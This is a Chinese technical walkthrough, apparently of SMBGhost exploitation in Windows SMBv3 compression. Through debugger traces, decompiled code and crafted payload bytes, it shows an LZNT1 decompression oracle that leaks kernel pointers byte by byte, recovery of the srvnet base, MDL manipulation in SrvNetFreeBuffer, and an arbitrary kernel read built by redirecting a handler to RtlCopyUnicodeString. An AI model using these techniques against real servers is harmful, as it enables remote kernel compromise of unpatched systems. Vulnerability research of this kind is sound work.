ffffa508`31ac124e  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac125e  ff ff ff                                         ...

Zecops在文章中提出可通過向目標發送壓縮測試數據并檢測該連接是否斷開來判斷是否解壓失敗,如果解壓失敗,則連接斷開,而利用LZNT1解壓的特性可通過判斷解壓成功與否來泄露1字節數據。下面來總結解壓成功和解壓失敗的模式。

00 00 模式: 文中提示LZNT1壓縮數據可以 00 00 結尾(類似于以NULL終止的字符串,可選的)。如下所示,當讀取到的長度為0時跳出循環,在比較了指針沒有超出邊界之后,正常退出函數。

// RtlDecompressBufferLZNT1
    v11 = *(_WORD *)compressed_data_point; 
    if ( !*(_WORD *)compressed_data_point )
      break;
    ......
  }
  v17 = *(_DWORD **)&a6; 
  if ( compressed_data_point <= compressed_data_boundary )
  {
    **(_DWORD **)&a6 = (_DWORD)decompress_data_p2 - decompress_data_p1;
    goto LABEL_15;
  }
LABEL_32:
  v10 = 0xC0000242;                             // 錯誤流程
  *v17 = (_DWORD)compressed_data_point;
LABEL_15:
  if ( _InterlockedExchangeAdd((volatile signed __int32 *)&v23, 0xFFFFFFFF) == 1 )
    KeSetEvent(&Event, 0, 0);
  KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64);
  if ( v10 >= 0 && v23 < 0 )
    v10 = HIDWORD(v23);
  return (unsigned int)v10;
}

XX XX FF FF FF模式: 滿足XX XX FF FF FF模式的壓縮塊會在解壓時產生錯誤,其中,XXXX&FFF>0且第二個XX的最高位為1。作者在進行數據泄露的時候使用的FF FF滿足此條件,關鍵代碼如下,當標志字節為FF時,由于第一個標志位被設置,會跳出上面的循環,然后取出兩個字節的0xFFFF。由于比較第一個比特位的時候就跳出循環,decompress_data_p1、decompress_data_p2 和 decompress_data_p3 都指向原始的目標緩沖區(本來也就是起點)。所以 v11 也是初始值 0xD,v14(v15)為標志位1相應的雙字0xFFFF。由于decompress_data_p1 - 0xFFFF >> 0xD -1 肯定小于decompress_data_p2,會返回錯誤碼 0xC0000242。

   if ( *compressed_data_p1 & 1 )
        break;
   *decompress_data_p1 = compressed_data_p1[1];
   ......
}
while ( decompress_data_p1 > decompress_data_p3 )
{
   v11 = (unsigned int)(v11 - 1);
   decompress_data_p3 = (_BYTE *)(dword_14037B700[v11] + decompress_data_p2);
}
v13 = compressed_data_p1 + 1;
v14 = *(_WORD *)(compressed_data_p1 + 1);
v15 = v14;
v17 = dword_14037B744[v11] & v14;
v11 = (unsigned int)v11;
v16 = v17;
v18 = &decompress_data_p1[-(v15 >> v11) - 1];
if ( (unsigned __int64)v18 < decompress_data_p2 )
    return 0xC0000242i64;

//調試數據
kd> 
nt!LZNT1DecompressChunk+0x66e:
fffff802`52ddd93e 488d743eff      lea     rsi,[rsi+rdi-1]
kd> p
nt!LZNT1DecompressChunk+0x673:
fffff802`52ddd943 493bf2          cmp     rsi,r10
kd> 
nt!LZNT1DecompressChunk+0x676:
fffff802`52ddd946 0f82cd040000    jb      nt!LZNT1DecompressChunk+0xb49 (fffff802`52ddde19)
kd> 
nt!LZNT1DecompressChunk+0xb49:
fffff802`52ddde19 b8420200c0      mov     eax,0C0000242h

單字節泄露思路

泄露的思路就是利用解壓算法的上述特性,在想要泄露的字節后面加上b0(滿足壓縮標志)以及一定數量的 00 和 FF,00表示的數據為絕對有效數據。當處理完一個壓縮塊之后,會繼續向后取兩個字節,如果取到的是00 00,解壓就會正常完成,如果是 00 FF 或者 FF FF,解壓就會失敗。

kd> db ffffa508`31ac1158
ffffa508`31ac1158  18 3a 80 34 08 a5 b0 00-00 00 00 00 00 00 00 00  .:.4............
ffffa508`31ac1168  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac1178  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

如下所示,a5是想要泄露的字節,先假設可以將測試數據放在后面。根據解壓算法可知,首先會取出b0a5,然后和0xfff相與后加3,得到a8,從a5開始數a8個字節,這些數據都屬于第一個壓縮塊。如果要求第二次取出來的雙字還是00 00,就需要a8-2+2個字節的00,也就是a5+3。如果00的個數小于x+3,第二次取雙字的時候就一定會命中后面的FF,觸發錯誤。采用二分法找到滿足條件的x,使得當00的數量為x+3時解壓縮正常完成,并且當00的數量為x+2時解壓失敗,此時得到要泄露的那個字節數據x。

下面開始步入正題,一步一步獲取關鍵模塊基址,劫持系統執行流程。為了方便描述利用思路,在 Windows 1903 單核系統上進行調試,利用前還需要收集各漏洞版本以下函數在模塊中的偏移,以便后續進行匹配,計算相應模塊基址及函數地址:

srvnet.sys ntoskrnl.exe
srvnet!SrvNetWskConnDispatch nt!IoSizeofWorkItem
srvnet!imp_IoSizeofWorkItem nt!MiGetPteAddress
srvnet!imp_RtlCopyUnicodeString

泄露 User Buffer 指針

這一步要泄露的數據是已知大小緩沖區的User Buffer指針(POC中是0x2100)。請求包結構如下,Offset為0x2116,Originalsize為0,由于Offset+Originalsize=0x2116,所以會分配大小為0x4100的User Buffer來存放還原的數據。然而,原始請求包的User Buffer大小為0x2100(可容納0x10大小的頭和0x1101大小的Data),Offset 0x2116明顯超出了該緩沖區的長度,在后續的memcpy操作中會存在越界讀取。Offset欺騙也是1206的一部分,在取得Offset的值之后沒有判斷其大小是否超出的User Buffer的界限,從而在解壓成功后將這部分數據復制到一個可控的區域。又由于數據未初始化,可利用LZNT1解壓將目標指針泄露出來。

以下為請求包的Srvnet Buffer Header信息,由于復制操作是從Raw Data區域開始(跳過0x10頭部),因而越界讀取并復制的數據長度為0x2116+0x10-0x2100 = 0x26,這包括存放在Srvnet Buffer Header偏移0x18處的User Buffer指針 0xffffa50836240050。

kd> g
request: ffffa508`36240050  424d53fc 00000000 00000001 00002116
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410        cmp     dword ptr [rax+24h],10h

kd> dd rax
ffffa508`36242150  2f566798 ffffa508 2f566798 ffffa508
ffffa508`36242160  00010002 00000000 36240050 ffffa508
ffffa508`36242170  00002100 00001111 00002288 c0851000

kd> dd ffffa508`36240050+10+2116-6-10 l8
ffffa508`36242160  00010002 00000000 36240050 ffffa508
ffffa508`36242170  00002100 00001111 00002288 c0851000

以下為分配的0x4100的緩沖區,其User Buffer首地址為0xffffa50835a92050:

kd> g
alloc: ffffa508`35a92050  cf8b48d6 006207e8 ae394c00 00000288
srv2!Srv2DecompressData+0x85:
fffff802`51ce7ee5 488bd8          mov     rbx,rax
kd> dd rax
ffffa508`35a96150  a1e83024 48fffaef 4810478b 30244c8d
ffffa508`35a96160  00020002 00000000 35a92050 ffffa508
ffffa508`35a96170  00004100 00000000 000042a8 245c8b48

由于解壓成功,所以進入memcpy流程,0x2100緩沖區的User Buffer指針0xffffa50836240050被復制到0x4100緩沖區偏移0x2108處:

kd> dd ffffa508`35a92050 + 2100
ffffa508`35a94150  840fc085 000000af 24848d48 000000a8
ffffa508`35a94160  24448948 548d4120 b9410924 00000eda
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460        mov     eax,dword ptr [rsp+60h]
kd> dd ffffa508`35a92050 + 2100
ffffa508`35a94150  00010002 00000000 36240050 ffffa508
ffffa508`35a94160  00002100 548d1111 b9410924 00000eda

然后下一步是覆蓋 0x4100緩沖區中存放的0x2100緩沖區User Buffer Ptr 中 08 a5 后面的ffff等數據(由于地址都是以0xffff開頭,所以這兩個字節可以不用測)。為了不破壞前面的數據(不執行memcpy),要使得解壓失敗(在壓縮的測試數據后面填充\xFF),但成功解壓出測試數據。

以下為解壓前后保存的User Buffer Ptr 的狀態,可以發現解壓后的數據正好滿足之前所講的單字節泄露模式,如果可欺騙程序使其解壓0xffffa50835a9415d處的數據,就可以通過多次測試泄露出最高位0xa5:

//待解壓數據
kd> dd ffffa508`31edb050+10+210e
ffffa508`31edd16e  b014b007 ff007e00 ffff007c ffffffff
ffffa508`31edd17e  ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd18e  ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd19e  ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1ae  ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1be  ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1ce  ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1de  ffffffff ffffffff ffffffff ffffffff

//解壓前數據
kd> db r9 - 6
ffffa508`35a94158  50 00 24 36 08 a5 ff ff-00 21 00 00 11 11 8d 54  P.$6.....!.....T
ffffa508`35a94168  24 09 41 b9 da 0e 00 00-45 8d 44 24 01 48 8b ce  $.A.....E.D$.H..
ffffa508`35a94178  ff 15 c2 68 01 00 85 c0-78 27 8b 94 24 a8 00 00  ...h....x'..$...
ffffa508`35a94188  00 0f b7 c2 c1 e8 08 8d-0c 80 8b c2 c1 e8 10 0f  ................
ffffa508`35a94198  b6 c0 03 c8 0f b6 c2 8d-0c 41 41 3b cf 41 0f 96  .........AA;.A..
ffffa508`35a941a8  c4 48 8d 44 24 30 48 89-44 24 20 ba 0e 00 00 00  .H.D$0H.D$ .....
ffffa508`35a941b8  41 b9 db 0e 00 00 44 8d-42 f4 48 8b ce ff 15 75  A.....D.B.H....u
ffffa508`35a941c8  68 01 00 85 c0 78 2f 8b-54 24 30 0f b7 c2 c1 e8  h....x/.T$0.....

kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0            test    eax,eax
//解壓后數據
kd> db ffffa508`35a9415d lff
ffffa508`35a9415d  a5 b0 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`35a9416d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`35a9417d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`35a9418d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`35a9419d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`35a941ad  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`35a941bd  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`35a941cd  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`35a941dd  00 00 00 00 ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`35a941ed  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`35a941fd  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`35a9420d  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`35a9421d  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`35a9422d  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`35a9423d  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`35a9424d  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff     ...............

控制后續的請求包占用之前布置好的0x4100緩沖區,設置Offset使其指向待泄露的那個字節,利用LZTN1解壓算法從高位到低位逐個泄露字節。主要是利用LZTN1解壓算法特性以及SMB2協商,在SMB2協商過程中使用LZTN1壓縮,對SMB2 SESSION SETUP請求數據進行壓縮。構造如下請求,如果LZNT1測試數據解壓成功,就代表要泄露的數據不小于0的個數減3,并且由于解壓成功,SMB2 SESSION SETUP數據成功被復制。如果解壓失敗,SMB2 SESSION SETUP數據不會被復制,連接斷開。根據連接是否還在調整0的個數,如果連接斷開,就增大0的個數,否則減小0的個數,直到找到臨界值,泄露出那個字節。

泄露srvnet基址

SRVNET_BUFFER_HDR第一項為ConnectionBufferList.Flink指針(其指向SRVNET_RECV偏移0x58處的ConnectionBufferList.Flink),SRVNET_RECV偏移0x100處存放了AcceptSocket指針。AcceptSocket偏移0x30處為srvnet!SrvNetWskConnDispatch函數指針。可通過泄露這個指針,然后減去已有偏移得到srvnet模塊的基址。

//SRVNET_BUFFER_HDR
kd> dd rax
ffffa508`31221150  2f566798 ffffa508 2f566798 ffffa508
ffffa508`31221160  00030002 00000000 31219050 ffffa508
ffffa508`31221170  00008100 00008100 000082e8 ffffffff
ffffa508`31221180  31219000 ffffa508 312211e0 ffffa508
ffffa508`31221190  00000000 ffffffff 00008100 00000000
ffffa508`312211a0  31221260 ffffa508 31221150 ffffa508

//SRVNET_RECV->AcceptSocket
kd> dq ffffa5082f566798 - 58 + 100
ffffa508`2f566840  ffffa508`36143c28 00000000`00000000
ffffa508`2f566850  00000000`00000000 ffffa508`3479cd18
ffffa508`2f566860  ffffa508`2f4a6dc0 ffffa508`34ae4170
ffffa508`2f566870  ffffa508`35f56040 ffffa508`34f19520

//srvnet!SrvNetWskConnDispatch
kd> u poi(ffffa508`36143c28+30)
srvnet!SrvNetWskConnDispatch:
fffff802`57d3d170 50              push    rax
fffff802`57d3d171 5a              pop     rdx
fffff802`57d3d172 d15702          rcl     dword ptr [rdi+2],1
fffff802`57d3d175 f8              clc
fffff802`57d3d176 ff              ???
fffff802`57d3d177 ff00            inc     dword ptr [rax]
fffff802`57d3d179 6e              outs    dx,byte ptr [rsi]
fffff802`57d3d17a d15702          rcl     dword ptr [rdi+2],1

泄露ConnectionBufferList.Flink指針 首先要泄露ConnectionBufferList.Flink指針,以便泄露AcceptSocket指針以及srvnet!SrvNetWskConnDispatch函數指針。在這里使用了另一種思路:使用正常壓縮的數據[:-6]覆蓋ConnectionBufferList.Flink指針之前數據,這樣在解壓的時候正好可以帶出這6個字節,要注意請求數據長度與Offset+0x10的差值,這個差值應該大于壓縮數據+6的長度。在這個過程中需要保持一個正常連接,使得泄露出的ConnectionBufferList所在的SRVNET_RECV結構是有效的。如下所示,解壓后的數據長度正好為0x2b,其中,后6位為ConnectionBufferList的低6個字節。

kd> g
request: ffffa508`31219050  424d53fc 0000002b 00000001 000080e3
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410        cmp     dword ptr [rax+24h],10h

kd> db ffffa508`31219050+80e3+10 l20   //待解壓數據
ffffa508`31221143  10 b0 40 41 42 43 44 45-46 1b 50 58 00 18 3a 80  ..@ABCDEF.PX..:.
ffffa508`31221153  34 08 a5 ff ff 18 3a 80-34 08 a5 ff ff 02 00 03  4.....:.4.......

kd> g
srv2!Srv2DecompressData+0xdc:
fffff802`51ce7f3c e86f650406      call    srvnet!SmbCompressionDecompress (fffff802`57d2e4b0)
kd> db r9 l30   //解壓前緩沖區
ffffa508`31ac1133  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac1143  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac1153  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0            test    eax,eax
kd> db ffffa508`31ac1133 l30   //解壓后緩沖區
ffffa508`31ac1133  41 42 43 44 45 46 41 42-43 44 45 46 41 42 43 44  ABCDEFABCDEFABCD
ffffa508`31ac1143  45 46 41 42 43 44 45 46-41 42 43 44 45 46 41 42  EFABCDEFABCDEFAB
ffffa508`31ac1153  43 44 45 46 58 18 3a 80-34 08 a5 ff ff ff ff ff  CDEFX.:.4.......

然后向目標緩沖區偏移0x810e處解壓覆蓋測試數據 b0 00 00 ... ,之前解壓出的0x2b大小的數據放在了偏移0x80e3處,如果要從最后一位開始覆蓋,那解壓縮的偏移就是0x810e+0x2b(即0x810e)。

kd> g
request: ffffa508`31edb050  424d53fc 00007ff2 00000001 0000810e
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410        cmp     dword ptr [rax+24h],10h

//解壓前
kd> db rdx   //rdx指向待解壓數據
ffffa508`31ee316e  07 b0 14 b0 00 7e 00 ff-7c 00 ff ff ff ff ff ff  .....~..|.......
ffffa508`31ee317e  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ee318e  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ee319e  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ee31ae  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ee31be  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ee31ce  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ee31de  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................

kd> db r9-6 l30   //r9指向目標緩沖區
ffffa508`31ac1158  18 3a 80 34 08 a5 ff ff-ff ff ff ff ff ff ff ff  .:.4............
ffffa508`31ac1168  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac1178  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................

//解壓后
kd> db ffffa508`31ac1158 l30
ffffa508`31ac1158  18 3a 80 34 08 a5 b0 00-00 00 00 00 00 00 00 00  .:.4............
ffffa508`31ac1168  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac1178  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

然后采用和之前一樣的方式泄露該地址低6個字節。根據連接是否斷開調整00的長度,直到找到滿足臨界點的值,從而泄露出ConnectionBufferList。

kd> g
request: ffffa508`31ab9050  424d53fc 00008004 00000001 000080fd
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410        cmp     dword ptr [rax+24h],10h

kd> db rdx-6 l100
ffffa508`31ac1157  58 18 3a 80 34 08 a5 b0-00 00 00 00 00 00 00 00  X.:.4...........
ffffa508`31ac1167  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac1177  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac1187  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac1197  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac11a7  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac11b7  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac11c7  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac11d7  00 00 00 00 00 00 00 00-00 00 ff ff ff ff ff ff  ................
ffffa508`31ac11e7  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac11f7  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac1207  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac1217  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac1227  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac1237  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac1247  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................

后面就是繼續獲取AcceptSocket指針以及srvnet!SrvNetWskConnDispatch函數指針。SrvNetFreeBuffer函數中存在如下代碼(有省略),可幫助我們將某地址處的值復制到一個可控的地址。當BufferFlags為3時,pMdl1指向MDL中的MappedSystemVa會變成之前的值加0x50,pMdl2指向的MDL中的StartVa被賦值為pMdl1->MappedSystemVa + 0x50的高52位,pMdl2指向的MDL中的ByteOffset被賦值為pMdl1->MappedSystemVa + 0x50的低12位。也就是說pMdl2的StartVa和ByteOffset中會分開存放原先pMdl1中的MappedSystemVa的值加0x50的數據。

void SrvNetFreeBuffer(PSRVNET_BUFFER_HDR Buffer)
{
    PMDL pMdl1 = Buffer->pMdl1;
    PMDL pMdl2 = Buffer->pMdl2;

    if (Buffer->BufferFlags & 0x02) {
        if (Buffer->BufferFlags & 0x01) {
            pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
            pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
            pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF
        }

        Buffer->BufferFlags = 0;

        // ...

        pMdl1->Next = NULL;
        pMdl2->Next = NULL;

        // Return the buffer to the lookaside list.
    } else {
        SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
        ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');
    }
}

可利用上述流程,將指定地址處的數據再加0x50的值復制到pMdl2指向的結構中,然后再利用之前的方法逐字節泄露。思路是通過覆蓋兩個pmdl指針,覆蓋pmdl1指針為AcceptSocket指針減0x18,這和MDL結構相關,如下所示,其偏移0x18處為MappedSystemVa指針,這樣可使得AcceptSocket地址正好存放在pMdl1->MappedSystemVa。然后覆蓋pmdl2指針為一個可控的內存,POC中為之前泄露的0x2100內存的指針加0x1250偏移處。這樣上述代碼執行后,就會將AcceptSocket地址的信息存放在pmdl2指向的MDL結構(已知地址)中。

kd> dt _mdl
win32k!_MDL
   +0x000 Next             : Ptr64 _MDL
   +0x008 Size             : Int2B
   +0x00a MdlFlags         : Int2B
   +0x00c AllocationProcessorNumber : Uint2B
   +0x00e Reserved         : Uint2B
   +0x010 Process          : Ptr64 _EPROCESS
   +0x018 MappedSystemVa   : Ptr64 Void
   +0x020 StartVa          : Ptr64 Void
   +0x028 ByteCount        : Uint4B
   +0x02c ByteOffset       : Uint4B

kd> ?ffffa50834803a18-58+100-18
Evaluate expression: -100020317570392 = ffffa508`34803aa8

kd> ?ffffa50836240000+1250  //這個和no transport header相關
Evaluate expression: -100020290055600 = ffffa508`36241250

//覆蓋前
kd> dd ffffa508`31ab9050+10138
ffffa508`31ac9188  31ac91e0 ffffa508 00000000 00000000
ffffa508`31ac9198  00000000 00000000 31ac92a0 ffffa508
ffffa508`31ac91a8  00000000 00000000 00000000 00000000

//覆蓋后
kd> dd ffffa508`31ac9188
ffffa508`31ac9188  34803aa8 ffffa508 00000000 00000000
ffffa508`31ac9198  00000000 00000000 36241250 ffffa508
ffffa508`31ac91a8  00000000 00000000 00000000 00000000

之后通過解壓覆蓋偏移0x10處的BufferFlags,使其由2變為3,壓縮數據后面加入多個"\xFF"使得解壓失敗,這樣在后續調用 SrvNetFreeBuffer函數時才能進入上述流程。其中:flag第一個比特位被設置代表沒有Transport Header,所以那段代碼實際上是留出了傳輸頭。

kd> dd r9-10
ffffa508`31ac9150  00000000 00000000 34ba42d8 ffffa508
ffffa508`31ac9160  00040002 00000000 31ab9050 ffffa508
ffffa508`31ac9170  00010100 00000000 00010368 ffffa508
ffffa508`31ac9180  31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190  00000000 00000000 00000000 00000000
ffffa508`31ac91a0  36241250 ffffa508 00000000 00000000

kd> dd ffffa508`31ac9150
ffffa508`31ac9150  00000000 00000000 34ba42d8 ffffa508
ffffa508`31ac9160  00040003 00000000 31ab9050 ffffa508
ffffa508`31ac9170  00010100 00000000 00010368 ffffa508
ffffa508`31ac9180  31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190  00000000 00000000 00000000 00000000
ffffa508`31ac91a0  36241250 ffffa508 00000000 00000000

當調用SrvNetFreeBuffer釋放這個緩沖區時會觸發那段流程,此時想泄露的數據已經放在了0xffffa50836241250處的MDL結構中。如下所示,為0xffffa5083506b848。然后再用之前的方法依次泄露0xffffa50836241250偏移0x2D、0x2C、0x25、0x24、0x23、0x22、0x21處的字節,然后組合成0xffffa5083506b848。

kd> dt _mdl ffffa50836241250 
win32k!_MDL
   +0x000 Next             : (null) 
   +0x008 Size             : 0n56
   +0x00a MdlFlags         : 0n4
   +0x00c AllocationProcessorNumber : 0
   +0x00e Reserved         : 0
   +0x010 Process          : (null) 
   +0x018 MappedSystemVa   : (null) 
   +0x020 StartVa          : 0xffffa508`3506b000 Void
   +0x028 ByteCount        : 0xffffffb0
   +0x02c ByteOffset       : 0x848

kd> db ffffa50836241250 
ffffa508`36241250  00 00 00 00 00 00 00 00-38 00 04 00 00 00 00 00  ........8.......
ffffa508`36241260  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`36241270  00 b0 06 35 08 a5 ff ff-b0 ff ff ff 48 08 00 00  ...5........H...

kd> ?poi(ffffa508`34803aa8+18)   //AcceptSocket - 0x50
Evaluate expression: -100020308756408 = ffffa508`3506b848

由于之前flag加上了1,沒有傳輸頭,所以SRVNET_BUFFER_HDR偏移0x18處的user data指針比之前多0x50(計算偏移的時候要注意)。這次將BufferFlags覆蓋為0,在SrvNetFreeBuffer函數中就不會將其直接加入SrvNetBufferLookasides表,而是釋放該緩沖區。

kd> dd r9-10
ffffa508`31ac9150  00000000 00000000 35caba58 ffffa508
ffffa508`31ac9160  00040002 00000000 31ab90a0 ffffa508
ffffa508`31ac9170  00010100 00000000 00010368 ffffa508
ffffa508`31ac9180  31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190  00000000 00000000 00000000 00000000
ffffa508`31ac91a0  36241250 ffffa508 00000000 00000000

kd> dd ffffa508`31ac9150
ffffa508`31ac9150  00000000 00000000 35caba58 ffffa508
ffffa508`31ac9160  00040000 00000000 31ab90a0 ffffa508
ffffa508`31ac9170  00010100 00000000 00010368 ffffa508
ffffa508`31ac9180  31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190  00000000 00000000 00000000 00000000
ffffa508`31ac91a0  36241250 ffffa508 00000000 00000000

后面還是和之前一樣,依次從高地址到低地址泄露每一個字節,經過組合最終得到后面還是和之前一樣,依次從高地址到低地址泄露每一個字節,經過組合最終得到AcceptSocket地址為 0xffffa5083506b848 - 0x50 = 0xffffa508`3506b7f8。

kd> db ffffa508`36241250+2d-10
ffffa508`3624126d  00 00 00 00 b0 06 35 08-a5 ff ff b0 ff ff ff 48  ......5........H
ffffa508`3624127d  08 b0 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`3624128d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`3624129d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`362412ad  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`362412bd  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`362412cd  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`362412dd  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................................

kd> u poi(ffffa508`3506b7f8+30)
srvnet!SrvNetWskConnDispatch:
fffff802`57d3d170 50              push    rax
fffff802`57d3d171 5a              pop     rdx
fffff802`57d3d172 d15702          rcl     dword ptr [rdi+2],1
fffff802`57d3d175 f8              clc
fffff802`57d3d176 ff              ???
fffff802`57d3d177 ff00            inc     dword ptr [rax]
fffff802`57d3d179 6e              outs    dx,byte ptr [rsi]
fffff802`57d3d17a d15702          rcl     dword ptr [rdi+2],1

采用同樣的方法可獲取AcceptSocket偏移0x30處的srvnet!SrvNetWskConnDispatch函數的地址。

泄露ntoskrnl基址

任意地址讀 SrvNetCommonReceiveHandler函數中存在如下代碼,其中v10指向SRVNET_RECV結構體,以下代碼是對srv2!Srv2ReceiveHandler函數的調用(HandlerFunctions表中的第二項),第一個參數來自于SRVNET_RECV結構體偏移0x128處,第二個參數來自于SRVNET_RECV結構體偏移0x130處。可通過覆蓋SRVNET_RECV結構偏移0x118、0x128、0x130處的數據,進行已知函數的調用(參數個數不大于2)。

//srvnet!SrvNetCommonReceiveHandler
  v32 = *(_QWORD *)(v10 + 0x118);
  v33 = *(_QWORD *)(v10 + 0x130);
  v34 = *(_QWORD *)(v10 + 0x128);
  *(_DWORD *)(v10 + 0x144) = 3;
  v35 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD, _QWORD, __int64, __int64, __int64, __int64, __int64))(v32 + 8))( v34, v33, v8, (unsigned int)v11, v9, a5, v7, a7, v55);

以下為RtlCopyUnicodeString函數部分代碼,該函數可通過srvnet!imp_RtlCopyUnicodeString索引,并且只需要兩個參數(PUNICODE_STRING結構)。如下所示,PUNICODE_STRING中包含Length、MaximumLength(偏移2)和Buffer(偏移8)。RtlCopyUnicodeString函數會調用memmove將SourceString->Buffer復制到DestinationString->Buffer,復制長度為SourceString->Length和DestinationString->MaximumLength中的最小值。

//RtlCopyUnicodeString
void __stdcall RtlCopyUnicodeString(PUNICODE_STRING DestinationString, PCUNICODE_STRING SourceString)
{
  v2 = DestinationString;
  if ( SourceString )
  {
    v3 = SourceString->Length;
    v4 = DestinationString->MaximumLength;
    v5 = SourceString->Buffer;
    if ( (unsigned __int16)v3 <= (unsigned __int16)v4 )
      v4 = v3;
    v6 = DestinationString->Buffer;
    v7 = v4;
    DestinationString->Length = v4;
    memmove(v6, v5, v4);

//PUNICODE_STRING
typedef struct __UNICODE_STRING_
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;

可通過覆蓋HandlerFunctions,“替換”srv2!Srv2ReceiveHandler函數指針為nt!RtlCopyUnicodeString函數指針,覆蓋DestinationString為已知地址的PUNICODE_STRING結構地址,SourceString為待讀取地址的PUNICODE_STRING結構地址,然后通過向該連接繼續發送請求實現任意地址數據讀取。

